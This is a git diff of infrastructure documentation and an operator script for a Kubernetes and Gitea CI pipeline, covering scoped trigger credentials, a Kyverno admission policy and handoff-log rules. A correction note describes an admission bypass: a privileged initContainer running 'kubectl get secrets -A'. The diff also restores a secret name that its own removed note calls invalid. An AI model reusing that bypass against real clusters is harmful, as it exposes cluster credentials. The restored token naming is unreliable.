decisions/YYYY-MM-DD-<slug>.md
|
|
||||||
|
|
||||||
`<slug>` is lowercase `[a-z0-9-]`. **Use your branch name's last segment** — it is
|
|
||||||
already unique per unit of work, which is precisely the property the filename needs.
|
|
||||||
A branch `fix/crafty-oauth2-proxy-signin` handed off on 2026-09-29 writes:
|
|
||||||
|
|
||||||
decisions/2026-09-29-crafty-oauth2-proxy-signin.md
|
|
||||||
|
|
||||||
The file is YAML frontmatter followed by three required sections:
|
|
||||||
|
|
||||||
```markdown
|
|
||||||
---
|
|
||||||
date: 2026-09-29
|
|
||||||
branch: fix/crafty-oauth2-proxy-signin
|
|
||||||
title: The Keycloak gate works — Crafty's own login was the wall
|
|
||||||
---
|
|
||||||
|
|
||||||
## What changed
|
|
||||||
|
|
||||||
Prose. What you actually did, and why.
|
|
||||||
|
|
||||||
## What I verified
|
|
||||||
|
|
||||||
The measurements, with their numbers. Quote the field you read, not the prose you
|
|
||||||
believed. Name the gate result and its exit code.
|
|
||||||
|
|
||||||
## What I did NOT verify
|
|
||||||
|
|
||||||
Everything else. An honest "UNVERIFIED" is worth more than an optimistic "green" —
|
|
||||||
this repo has been burned by the difference more than once.
|
|
||||||
```
|
|
||||||
|
|
||||||
All three headings are **required and enforced** (`ci/decisions-log.sh`). They are
|
|
||||||
CLAUDE.md §7's contract; making them a checked structure is what stops an entry
|
|
||||||
degrading into "done ✅".
|
|
||||||
|
|
||||||
## Reading the log
|
|
||||||
|
|
||||||
The whole log, oldest first:
|
|
||||||
|
|
||||||
ls decisions/[0-9]*.md | sort
|
|
||||||
|
|
||||||
The current PM handoff — the newest entry. Ties within a day are broken by what landed
|
|
||||||
on `main` last, which is the honest answer, so ask git rather than the filename:
|
|
||||||
|
|
||||||
git log --diff-filter=A --format='%H' --name-only -- 'decisions/[0-9]*.md' \
|
|
||||||
| grep '^decisions/' | head -1
|
|
||||||
|
|
||||||
For a quick skim of who said what:
|
|
||||||
|
|
||||||
grep -H '^title:' decisions/[0-9]*.md | sort
|
|
||||||
|
|
||||||
## The archive is frozen
|
|
||||||
|
|
||||||
`DECISIONS-LOG.md` is **read-only history**. Its SHA-256 is pinned in
|
|
||||||
`decisions/ARCHIVE.sha256` and `ci/decisions-log.sh` fails the merge gate if the file
|
|
||||||
changes. That is not ceremony: without it, the next agent to read `runbooks/` or an old
|
|
||||||
CLAUDE.md habit appends to the tail again and re-creates the conflict for everybody
|
|
||||||
else, silently, one PR at a time.
|
|
||||||
|
|
||||||
If the archive genuinely must change (a leaked credential to redact, say), that is a
|
|
||||||
deliberate, reviewed act: change it, run `sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256`,
|
|
||||||
and say in your handoff entry why. Re-pinning is visible in the diff. Appending is not.
|
|
||||||
@@ -33,7 +33,7 @@ agents. So the credential model must be decided by the operator before anything
|
|||||||
| Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). |
|
| Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). |
|
||||||
| CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. |
|
| CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. |
|
||||||
| Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). |
|
| Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). |
|
||||||
| In-cluster Job skeleton | `conformance/incluster/chainsaw-job.yaml` | Skeleton: `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, image `ghcr.io/kyverno/chainsaw:v0.2.12`, `command: ["./run.sh"]`, args default `--layer all --strict-coverage`. **`workspace` is an empty `emptyDir` with no init-container to populate it**, and `results` is an `emptyDir`. |
|
| In-cluster Job template | `conformance/incluster/chainsaw-job.yaml` | **DONE 2026-09-29 (§3 items 2+3).** `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6). |
|
||||||
| Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). |
|
| Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). |
|
||||||
| Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
|
| Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
|
||||||
| Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
|
| Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
|
||||||
@@ -58,17 +58,42 @@ LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
|
|||||||
|
|
||||||
## 3. Gaps to close (functional)
|
## 3. Gaps to close (functional)
|
||||||
|
|
||||||
1. **Runner image.** `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
|
1. **Runner image.** *(Added requirement, 2026-09-29: the image MUST also install
|
||||||
|
`conformance/incluster/conformance-clone` at **`/usr/local/bin/conformance-clone`**, mode
|
||||||
|
0755, and provide a **uid 65532** non-root user. The admission policy pins that exact
|
||||||
|
entrypoint path and the Job pins that uid — see §4.)*
|
||||||
|
`ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
|
||||||
python3 + chainsaw + kubectl**, and the repo-clone init needs **git**. The Job cannot run
|
python3 + chainsaw + kubectl**, and the repo-clone init needs **git**. The Job cannot run
|
||||||
`./run.sh` on the stock chainsaw image. → Build a pinned `conformance-runner` image (chainsaw
|
`./run.sh` on the stock chainsaw image. → Build a pinned `conformance-runner` image (chainsaw
|
||||||
`v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
|
`v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
|
||||||
pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
|
pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
|
||||||
`CHAINSAW_VERSION` as the single source of truth the image is built from.
|
`CHAINSAW_VERSION` as the single source of truth the image is built from.
|
||||||
2. **Repo at the commit-under-test.** The Job must run the suite at the PR head SHA. → Add an
|
2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`).
|
||||||
|
Init container `clone-suite-at-commit` runs `/usr/local/bin/conformance-clone` with **no
|
||||||
|
args** — logic in `conformance/incluster/conformance-clone`, baked into the image by
|
||||||
|
item 1: shallow clone, fetch the exact commit if the shallow tip lacks it, detach, then
|
||||||
|
**assert `HEAD` == the requested SHA**. SHA arrives as a `@@CONFORMANCE_GIT_SHA@@`
|
||||||
|
substitution into a Job env var and is refused unless it matches `^[0-9a-f]{40}$`. The
|
||||||
|
clone URL is **hardcoded in the entrypoint**, not passed in env: the policy does not
|
||||||
|
constrain `env`, so a caller-chosen URL would let CI pick which repository's code runs as
|
||||||
|
`conformance-runner`. Credential = secret `conformance-git-readonly` (read-only Gitea
|
||||||
|
token) by **name only**, as env via `secretKeyRef` — not a volume, because admission allows
|
||||||
|
only `workspace` and `results`. Still to do: build the runner image (item 1, and it must
|
||||||
|
install the entrypoint at that exact path) and provision that Secret (item 6).
|
||||||
|
Original text: → Add an
|
||||||
**init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
|
**init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
|
||||||
into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
|
into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
|
||||||
`--requirements` are injected by the CI trigger step as Job env/args.
|
`--requirements` are injected by the CI trigger step as Job env/args.
|
||||||
3. **Results collection without giving CI exec/cp.** The Job writes `_artifacts/` to the `results`
|
3. **Results collection without giving CI exec/cp.** ✅ **LANDED 2026-09-29** (`conformance/run.sh`,
|
||||||
|
`conf_emit_artifacts_tgz`). `CONF_EMIT_ARTIFACTS_TGZ=1` arms an **EXIT trap** — so a FAILED run
|
||||||
|
still ships its red JUnit — that prints the artifact tree as a base64 tar between
|
||||||
|
`=== ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===`. The size, base64
|
||||||
|
line count and digest appear in **both** markers, so a truncated `kubectl logs` fails
|
||||||
|
collection instead of decoding to plausible garbage; the five checks the collector owes are
|
||||||
|
spelled out above that function. It lives in `run.sh` and not in the Job because admission
|
||||||
|
pins `command` to exactly `["./run.sh"]`. Verified locally: full decode round-trips, and
|
||||||
|
head-truncation, tail-truncation, a dropped interior line and a single corrupted character are
|
||||||
|
each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes `_artifacts/` to the `results`
|
||||||
volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited
|
volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited
|
||||||
base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from
|
base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from
|
||||||
`kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results
|
`kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results
|
||||||
@@ -104,6 +129,19 @@ stack):**
|
|||||||
|
|
||||||
- SA `conformance-trigger` (ns `conformance`), Role: `create` on `jobs`; `get,list,watch` on
|
- SA `conformance-trigger` (ns `conformance`), Role: `create` on `jobs`; `get,list,watch` on
|
||||||
`jobs`; `get` on `pods` and `pods/log`. Nothing else. Bound only in the `conformance` ns.
|
`jobs`; `get` on `pods` and `pods/log`. Nothing else. Bound only in the `conformance` ns.
|
||||||
|
- **CORRECTION (2026-09-29): "constrain the Job's shape" means ALL THREE container lists, not
|
||||||
|
`containers`.** As first shipped, the policy read only `spec.template.spec.containers` and
|
||||||
|
`volumes`. `initContainers` was unread, so a Job with a fully compliant `containers[0]` and a
|
||||||
|
`privileged: true` `alpine:latest` initContainer running `kubectl get secrets -A` was
|
||||||
|
**ADMITTED** (`pass: 3, fail: 0`, measured with kyverno v1.19.0). Rule 1's
|
||||||
|
`=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` was the
|
||||||
|
same. Both are now covered by
|
||||||
|
`trigger-initcontainers-must-be-the-committed-clone-step` and
|
||||||
|
`trigger-may-not-declare-ephemeral-containers`, with the probes kept as negative fixtures.
|
||||||
|
**The lesson generalises:** an "admit only the committed shape" policy has to enumerate every
|
||||||
|
field that can carry executable intent, and a `pattern` over an array only asserts *at least
|
||||||
|
one element matches* — use `deny` conditions and cap the count. Also note the residual: no
|
||||||
|
rule constrains `env`, which is why the clone URL is hardcoded in the image entrypoint.
|
||||||
- A **Kyverno ClusterPolicy (validate, enforce, fail-closed)** that, *for Jobs created by
|
- A **Kyverno ClusterPolicy (validate, enforce, fail-closed)** that, *for Jobs created by
|
||||||
`system:serviceaccount:conformance:conformance-trigger`*, ADMITS only Jobs that match the
|
`system:serviceaccount:conformance:conformance-trigger`*, ADMITS only Jobs that match the
|
||||||
committed shape: image == the pinned `CONFORMANCE_RUNNER_IMAGE` digest,
|
committed shape: image == the pinned `CONFORMANCE_RUNNER_IMAGE` digest,
|
||||||
|
|||||||
+3
-69
@@ -102,19 +102,7 @@ Behaviour, proven by test rather than assumed:
|
|||||||
|---|---|---|
|
|---|---|---|
|
||||||
| live matches the declaration | 0 | green |
|
| live matches the declaration | 0 | green |
|
||||||
| any key drifted, or no runner online | 1 | **blocks the merge** |
|
| any key drifted, or no runner online | 1 | **blocks the merge** |
|
||||||
| no `SETTINGS_API_TOKEN`, or Gitea unreachable | 3 | skips **loudly**; never a pass, never a block |
|
| no `GITEA_SETTINGS_TOKEN`, or Gitea unreachable | 3 | skips **loudly**; never a pass, never a block |
|
||||||
|
|
||||||
> **The secret is `SETTINGS_API_TOKEN`.** An earlier draft of this table named
|
|
||||||
> `GITEA_SETTINGS_TOKEN`, which **cannot exist as a Gitea secret at all** — Gitea reserves the
|
|
||||||
> `GITEA_` prefix and returns HTTP 400 `invalid secret name`. That is the whole 2026-09-29
|
|
||||||
> inert-detector story, so the wrong name surviving here is worth correcting rather than
|
|
||||||
> reading past. Measured in `ci/gitea-settings.sh`:
|
|
||||||
>
|
|
||||||
> TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
|
|
||||||
>
|
|
||||||
> so `GITEA_SETTINGS_TOKEN` is still honoured — but **only as an environment variable for a
|
|
||||||
> LOCAL run**. It can never be the CI wiring, because the secret that would feed it cannot be
|
|
||||||
> created. In CI, only `SETTINGS_API_TOKEN` exists.
|
|
||||||
|
|
||||||
The skip is deliberately *not* a block: an unwired credential blocking every PR is the
|
The skip is deliberately *not* a block: an unwired credential blocking every PR is the
|
||||||
lock-yourself-out failure this repo keeps hitting. Wire the token with `set-ci-token.sh`, confirm
|
lock-yourself-out failure this repo keeps hitting. Wire the token with `set-ci-token.sh`, confirm
|
||||||
@@ -124,59 +112,6 @@ the stage goes **green on a real PR**, and only then set `REQUIRE_GITEA_SETTINGS
|
|||||||
**Changing the declaration is how you change policy.** If the live state is what you now want,
|
**Changing the declaration is how you change policy.** If the live state is what you now want,
|
||||||
edit this JSON in the same commit — deliberately, in review — rather than letting the two drift.
|
edit this JSON in the same commit — deliberately, in review — rather than letting the two drift.
|
||||||
|
|
||||||
## `conformance-trigger-kubeconfig.sh` — the narrow L2/L3 trigger credential
|
|
||||||
|
|
||||||
Implements `docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 (= §5 step 7): mint a
|
|
||||||
ServiceAccount token for `conformance/conformance-trigger`, wrap **only that token** in a
|
|
||||||
kubeconfig, store it as the Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG`, and — separately,
|
|
||||||
and only on request — set `vars.CLUSTER_AVAILABLE=true`.
|
|
||||||
|
|
||||||
./infra/gitea/conformance-trigger-kubeconfig.sh --dry-run # measure only; writes nothing
|
|
||||||
./infra/gitea/conformance-trigger-kubeconfig.sh # mint + store the secret
|
|
||||||
./infra/gitea/conformance-trigger-kubeconfig.sh --arm-cluster-available # + the variable
|
|
||||||
|
|
||||||
Never a cluster-admin kubeconfig, never a copy of the operator's own. The token is never
|
|
||||||
printed: it goes from the TokenRequest API into a 0600 file, into the request **body file**
|
|
||||||
(`--data @file`, so not even into `ps`), and nowhere else. The script refuses to run under
|
|
||||||
`set -x`.
|
|
||||||
|
|
||||||
**Its preconditions are split in two, and the split is the point.**
|
|
||||||
|
|
||||||
| Class | Checks | Blocks |
|
|
||||||
|---|---|---|
|
|
||||||
| **mint-blocking** (cluster) | SA/Role/RoleBinding exist; ClusterPolicy `conformance-trigger-job-shape` is present, `Enforce`, `failurePolicy: Fail`, Ready | the **mint** — nothing is created |
|
|
||||||
| **arm-blocking** (repo) | digest-pinned `CONFORMANCE_RUNNER_IMAGE`; `chainsaw-job.yaml` has an init-container and the admitted image; `ci/conformance.sh` names the trigger kubeconfig in **code, not a comment** | only `CLUSTER_AVAILABLE` |
|
|
||||||
|
|
||||||
Why mint-blocking: Kubernetes puts **no `use` check on a Job's `serviceAccountName`**, so a
|
|
||||||
token that can `create jobs` in `conformance` can run arbitrary code as the privileged
|
|
||||||
`conformance-runner` SA. RBAC cannot close that; the Kyverno policy is the boundary. Minting
|
|
||||||
while it is absent or in `Audit` hands CI the privileged identity, so the script will not do it.
|
|
||||||
|
|
||||||
Why arm-blocking is separate: storing the secret before the runner image / Job template / CI
|
|
||||||
trigger flow exist is harmless (the job is gated off), and is the plan's intended order. So
|
|
||||||
running this today provisions the secret and then **refuses to arm the variable**, naming the
|
|
||||||
missing item.
|
|
||||||
|
|
||||||
**`CLUSTER_AVAILABLE` is not a "turn conformance on" switch.** Measured 2026-09-29: set with no
|
|
||||||
trigger path, `run.sh` scaffold-skipped all 54 tests at rc 0 and `ci/conformance.sh` printed
|
|
||||||
"L2/L3 conformance passed" — a fake green on an enforcing required check. `ci/conformance.sh`
|
|
||||||
now blocks that case, so arming early does not enable L2/L3; it only breaks every PR. Hence:
|
|
||||||
`--arm-cluster-available` plus all preconditions green plus a typed confirmation on a TTY, or
|
|
||||||
nothing happens.
|
|
||||||
|
|
||||||
Both writes are verified the way `set-ci-token.sh` learned to: check `%{http_code}` **and**
|
|
||||||
read the object back. For the secret that proves presence by name only (Gitea never returns
|
|
||||||
secret values); for the variable it proves the value is exactly `true`, which is what
|
|
||||||
`gate.yml` compares against.
|
|
||||||
|
|
||||||
The token **expires** — it is a TokenRequest token, and the script decodes the JWT `exp` claim
|
|
||||||
to report the real expiry rather than trusting `--duration` (the API server caps it). Re-run to
|
|
||||||
rotate. After expiry the trigger gets 401 and the stage fails loudly rather than skipping.
|
|
||||||
|
|
||||||
`--server` exists because the embedded API-server URL must be reachable **from the CI runner
|
|
||||||
pod** — the VIP — which is not necessarily the address your workstation uses. The script
|
|
||||||
refuses a loopback server outright.
|
|
||||||
|
|
||||||
### Why these scripts exist at all, and what is still missing
|
### Why these scripts exist at all, and what is still missing
|
||||||
|
|
||||||
Gitea's repo settings live in **its own database**, not in anything Flux reconciles or the
|
Gitea's repo settings live in **its own database**, not in anything Flux reconciles or the
|
||||||
@@ -189,9 +124,8 @@ These scripts encode the desired state and can re-assert it; `ci/gitea-settings.
|
|||||||
**detector** that turns divergence from a silent, invisible failure into a loud one. It closes the
|
**detector** that turns divergence from a silent, invisible failure into a loud one. It closes the
|
||||||
root cause of the 2026-09-29 session.
|
root cause of the 2026-09-29 session.
|
||||||
|
|
||||||
It is only as good as its wiring: **until `SETTINGS_API_TOKEN` exists it skips**, and a skipped
|
It is only as good as its wiring: **until `GITEA_SETTINGS_TOKEN` exists it skips**, and a skipped
|
||||||
detector detects nothing. (That secret was stored and verified in PR #15; this sentence predates
|
detector detects nothing. That is the remaining step.
|
||||||
it. The name matters — see the note under the behaviour table above.)
|
|
||||||
|
|
||||||
## Historical sequence (kept for context)
|
## Historical sequence (kept for context)
|
||||||
|
|
||||||
|
|||||||
@@ -1,575 +0,0 @@
|
|||||||
#!/usr/bin/env bash
|
|
||||||
# infra/gitea/conformance-trigger-kubeconfig.sh
|
|
||||||
#
|
|
||||||
# OPERATOR script for docs/plans/l2-l3-conformance-ci-wiring.md §3 item 6 (= §5 step 7):
|
|
||||||
# provision the NARROW CI trigger credential for L2/L3 conformance, and — only when the
|
|
||||||
# rest of the trigger path actually exists — arm `vars.CLUSTER_AVAILABLE`.
|
|
||||||
#
|
|
||||||
# What it does, in order:
|
|
||||||
# 1. measures the preconditions (cluster-side AND repo-side) instead of assuming them
|
|
||||||
# 2. mints a bounded-lifetime ServiceAccount token for `conformance-trigger` in ns
|
|
||||||
# `conformance` (kubectl create token -> TokenRequest API)
|
|
||||||
# 3. assembles a kubeconfig containing ONLY that token + the cluster CA + the API server
|
|
||||||
# 4. PROVES the kubeconfig is the narrow identity (auth whoami + an allow/deny matrix)
|
|
||||||
# 5. stores it as the Gitea Actions repo secret CONFORMANCE_TRIGGER_KUBECONFIG, and
|
|
||||||
# VERIFIES the store by reading the secret list back
|
|
||||||
# 6. sets vars.CLUSTER_AVAILABLE=true ONLY under --arm-cluster-available, only with every
|
|
||||||
# precondition green, and only after a typed confirmation. Otherwise it REFUSES.
|
|
||||||
#
|
|
||||||
# NOTHING SECRET IS EVER PRINTED. The token exists in a shell variable and in a 0600 file
|
|
||||||
# under a 0700 temp dir that is removed on exit; it reaches the Gitea API in a request-body
|
|
||||||
# FILE (`--data @file`), never in argv, never on stdout. This script prints names, byte
|
|
||||||
# lengths, HTTP status codes, the token's expiry timestamp, and yes/no authorization answers.
|
|
||||||
#
|
|
||||||
# ----------------------------------------------------------------------------------------
|
|
||||||
# THREE HARD-WON LESSONS THIS SCRIPT IS BUILT AROUND
|
|
||||||
# ----------------------------------------------------------------------------------------
|
|
||||||
# 1. GITEA RESERVES THE `GITEA_` PREFIX FOR SECRET NAMES.
|
|
||||||
# `PUT .../actions/secrets/GITEA_ANYTHING` returns HTTP 400 {"message":"invalid secret
|
|
||||||
# name"}. That is why set-ci-token.sh stores SETTINGS_API_TOKEN and not
|
|
||||||
# GITEA_SETTINGS_TOKEN. `CONFORMANCE_TRIGGER_KUBECONFIG` is legal, and is the exact name
|
|
||||||
# .gitea/workflows/{gate.yml,merge-gate.yaml} already reference — do not "tidy" it.
|
|
||||||
#
|
|
||||||
# 2. `curl -sS` EXITS 0 ON AN HTTP ERROR. The first version of set-ci-token.sh sent its PUT
|
|
||||||
# to /dev/null and printed "stored" unconditionally; the secret never existed and nobody
|
|
||||||
# knew for hours. So every write here captures `-w '%{http_code}'`, checks it, AND reads
|
|
||||||
# the object back afterwards. A store is not claimed unless the read-back shows it.
|
|
||||||
#
|
|
||||||
# 3. `CLUSTER_AVAILABLE` IS A LOADED GUN — SEE THE 2026-09-29 CORRECTION IN THE PLAN.
|
|
||||||
# `conformance/run.sh` exits 0 in scaffold mode with all 54 tests `<skipped>` when it
|
|
||||||
# cannot reach a cluster. Measured on 2026-09-29: with CLUSTER_AVAILABLE=true and no
|
|
||||||
# trigger path, ci/conformance.sh printed "[ ok ] L2/L3 conformance passed" at rc 0 — a
|
|
||||||
# FAKE GREEN on an enforcing required status check. ci/conformance.sh now BLOCKS that
|
|
||||||
# case (exit 1), so today the variable does not enable L2/L3: it only changes which way
|
|
||||||
# the stage fails. Arming it before §3 items 1-4 land therefore buys nothing and breaks
|
|
||||||
# every PR. This script refuses to do it.
|
|
||||||
#
|
|
||||||
# ----------------------------------------------------------------------------------------
|
|
||||||
# WHY THE PRECONDITIONS ARE SPLIT INTO TWO CLASSES (deliberate, and load-bearing)
|
|
||||||
# ----------------------------------------------------------------------------------------
|
|
||||||
# MINT-BLOCKING (cluster-side). Kubernetes places NO `use` check on a Job's
|
|
||||||
# `serviceAccountName`, so a token with plain `create jobs` in ns `conformance` can create a
|
|
||||||
# Job running as the PRIVILEGED `conformance-runner` SA with an arbitrary command. The
|
|
||||||
# trigger Role is only the necessary half; the sufficient half is the Kyverno ClusterPolicy
|
|
||||||
# `conformance-trigger-job-shape` (platform/kyverno/admission/), which must be present AND
|
|
||||||
# Enforce AND Ready. Minting this token while that policy is absent or in Audit hands CI a
|
|
||||||
# privileged identity. So those checks block the MINT itself — nothing is created if they
|
|
||||||
# fail. (See conformance/incluster/rbac.yaml's trigger header and plan §4.)
|
|
||||||
#
|
|
||||||
# ARM-BLOCKING (repo-side). The runner image, the Job template's init-container, and
|
|
||||||
# ci/conformance.sh's in-cluster trigger flow (plan §3 items 1, 2, 4) are what make a real
|
|
||||||
# L2/L3 run possible. Storing the kubeconfig secret without them is harmless — the
|
|
||||||
# conformance job is gated on the variable and never starts — and the plan explicitly lands
|
|
||||||
# the secret before the switch. So these checks block ONLY the variable.
|
|
||||||
#
|
|
||||||
# Net effect: you can safely run this script today to provision the secret. It will then
|
|
||||||
# REFUSE to arm the variable, and tell you exactly which repo-side item is missing.
|
|
||||||
#
|
|
||||||
# ----------------------------------------------------------------------------------------
|
|
||||||
# USAGE
|
|
||||||
# ----------------------------------------------------------------------------------------
|
|
||||||
# ./infra/gitea/conformance-trigger-kubeconfig.sh --dry-run
|
|
||||||
# Read-only. Measures every precondition, mints nothing, writes nothing.
|
|
||||||
# ./infra/gitea/conformance-trigger-kubeconfig.sh [--server URL]
|
|
||||||
# Mint + store the secret. Does NOT touch CLUSTER_AVAILABLE.
|
|
||||||
# ./infra/gitea/conformance-trigger-kubeconfig.sh --arm-cluster-available
|
|
||||||
# The above, then set vars.CLUSTER_AVAILABLE=true after a typed confirmation —
|
|
||||||
# refused unless every precondition is green.
|
|
||||||
#
|
|
||||||
# Options:
|
|
||||||
# --dry-run measure only; no TokenRequest, no PUT/POST
|
|
||||||
# --arm-cluster-available additionally set vars.CLUSTER_AVAILABLE=true (guarded)
|
|
||||||
# --server URL API server URL to embed (default: the operator context's own)
|
|
||||||
# --context NAME kube context to read the CA/server from (default: k3s-prod)
|
|
||||||
# --duration D requested token lifetime (default: 720h = 30d)
|
|
||||||
# -h | --help this text
|
|
||||||
#
|
|
||||||
# ON --server: the embedded server URL must be reachable FROM THE CI RUNNER POD, which is
|
|
||||||
# not necessarily the address your workstation uses. The runner has broad egress and reaches
|
|
||||||
# the kube-API VIP (per the plan: 192.168.1.49:6443). If your operator kubeconfig points at
|
|
||||||
# a workstation-only name or a localhost tunnel, pass --server explicitly; the script warns
|
|
||||||
# on a loopback server but cannot know your topology for you.
|
|
||||||
#
|
|
||||||
# ON TOKEN LIFETIME: this is a TokenRequest token and it EXPIRES. The API server may cap the
|
|
||||||
# requested duration, so the script decodes the JWT `exp` claim and reports the ACTUAL
|
|
||||||
# expiry rather than trusting --duration. Re-run this script to rotate. After expiry the
|
|
||||||
# trigger gets 401 and the conformance stage FAILS (loudly) rather than skipping — which is
|
|
||||||
# the correct direction, but put the expiry date in your calendar.
|
|
||||||
#
|
|
||||||
# DELIBERATELY NOT DONE: SOPS-sealing the token into secrets/conformance-trigger.sops.yaml
|
|
||||||
# (plan §3 item 6's "for reproducibility/rotation"). A bearer token with a 30-day life
|
|
||||||
# cannot usefully survive the branch -> PR -> review -> merge flow (CLAUDE.md §6), and
|
|
||||||
# committing one buys re-issuance we get for free by re-running this script against the
|
|
||||||
# live SA. If the operator still wants it sealed, that is a separate reviewed change.
|
|
||||||
#
|
|
||||||
# FORBIDDEN HERE, ON PURPOSE: no cluster-admin kubeconfig, no copy of the operator's own
|
|
||||||
# kubeconfig, no widening of conformance/incluster/rbac.yaml, no mutating kubectl beyond the
|
|
||||||
# TokenRequest itself, no `kubectl apply`.
|
|
||||||
set -euo pipefail
|
|
||||||
|
|
||||||
# xtrace would print the token. Refuse rather than leak.
|
|
||||||
case "$-" in
|
|
||||||
*x*) echo "FATAL: refusing to run under 'set -x' — xtrace would print the token" >&2; exit 1 ;;
|
|
||||||
esac
|
|
||||||
umask 077
|
|
||||||
|
|
||||||
HOST=gitea.home.keithjackson.dev
|
|
||||||
OWNER=Home-Network
|
|
||||||
REPO=home-network-k3s-impl
|
|
||||||
# Legal secret name: NOT prefixed GITEA_ (lesson 1), and the name the workflows already use.
|
|
||||||
SECRET=CONFORMANCE_TRIGGER_KUBECONFIG
|
|
||||||
VARIABLE=CLUSTER_AVAILABLE
|
|
||||||
NS=conformance
|
|
||||||
SA=conformance-trigger
|
|
||||||
RUNNER_SA=conformance-runner
|
|
||||||
POLICY=conformance-trigger-job-shape
|
|
||||||
# The image prefix the admission policy admits. Kept in sync with
|
|
||||||
# platform/kyverno/admission/conformance-trigger-job-shape.yaml by the P2 check below.
|
|
||||||
RUNNER_IMAGE_PREFIX='gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:'
|
|
||||||
|
|
||||||
KCTX=k3s-prod
|
|
||||||
DURATION=720h
|
|
||||||
DRY_RUN=false
|
|
||||||
